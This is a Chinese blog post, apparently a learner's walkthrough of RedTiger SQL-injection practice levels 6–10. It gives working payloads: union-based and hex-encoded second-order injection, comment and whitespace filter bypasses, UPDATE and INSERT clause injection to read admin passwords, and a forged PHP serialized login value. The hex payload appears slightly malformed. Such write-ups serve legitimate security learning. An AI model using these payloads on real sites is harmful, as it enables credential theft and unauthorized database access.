zoukankan      html  css  js  c++  java
  • Redtiger SQL注入练习(二)

    第六关:

    点击 click me,构造url:user=1',返回user not found。user=1'',同样。

    猜测是数字型注入,构造order by , user=1 order by  X#,得出有5个字段。

    然后,user=0 union select 1,2,3,4,5#,说user not found。不是吧。。。。

    用username试试吧,user=0 union select 1,username,3,4,5 from level6_users where status=1#

    返回如图:

    接下来就需要找密码了。用password试了5个位置,没用。想了好长时间,没有啥思路,只能看大佬的writeup了。(参考https://blog.spoock.com/2016/07/25/redtiger-writeup/)

    知道了可能是sql二次查询:

    1
    2
    3
    4
    5
    6
    7
    8
    $sql = "select username,password from level6_users where id=1";
    $result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
    $row1 = mysql_fetch_row($result);
    #从结果中取出username字段
    $username = $row1[1];
    $sql2 = "select username,email from level6_users where username="."'".$username."'";

    构造payload:user=0 union select 1,admin'union select 1,2,3,password,5 from level6_users where status=1#,3,4,5#    返回 user not found,  哦,fuck。

    大佬说转换成16进制,脑子不够用,emmmmmm。

    最终payload:user=0 union select 1,0x061646d696e3127756e696f6e2073656c65637420312c322c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d3123,3,4,5#

    第七关:

    提示如上,过滤了一堆东西,输入一个 ' 试试,报错并且返回sql语句:

    思考后,先把括号闭合,然后经过测试,order by 被ban了,而且注释 #  和--  也无效。

    order by 可以直接用 union select猜  ,注释 -- ,空格可以用%a0等等替换,构造

    payload:')union select 1--%a0, 只能用burp抓包改值,hackbar  post提交不行,不知道为啥,搞了半天没结果。猜测出列数为4。

    结果只显示,3和4.之后注入:')union select 1,2,autor,4 from level7_news--%a0

    最后得到答案。

    第八关:

    看到4个输入框,分别输入一次单引号,发现只有email后可以注入,

    然后没什么思路了,看了大佬们的操作,猜测后台的语句为:

    update table set name='[inputname]',email='[inputemail]',icq='[inputicq]',age='[inputage]' where id=1

    update 语句  后边的值会覆盖前边的值,比如:update table set name=1,email=2,name=2.........

    此时 name最终是2。

    于是我们构造:',name=password,icq='1

    得到admin用户的密码。

    第九关:

    测试发现在text 初添加' 会报错,这里存在注入点。

    猜测后台语句为:

    insert into tablename(autor,title,text) values('[inputautor]','[inputtitle]','[inputtext]')。

    于是构造:

    '), ((select username from level9_users limit 1), (select password from level9_users limit 1),'456

    得到用户名和密码。参考(https://blog.spoock.com/2016/07/25/redtiger-writeup/).

    第十关:

    这关和php序列化有关,比较懵。

    看源代码,有一串base64加密的东西,解密得到:

    a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}

    提示只能用TheMaster登录,但是密码不知道,序列化,可以把密码改成布尔值为1.

    于是改为:a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}

    base64加密后提交过关。

  • 相关阅读:
    GCC编译错误小结
    Sword libcurl使用
    Python 包
    Python __all__系统变量
    Python 模块导入
    Python 异常处理
    Python 单例模式
    乐乐课堂_leleketang.com
    靠刷题考进了清华?学霸告诉你答案
    python logging配置时间或大小轮转
  • 原文地址:https://www.cnblogs.com/whitehawk/p/9902556.html
Copyright © 2011-2022 走看看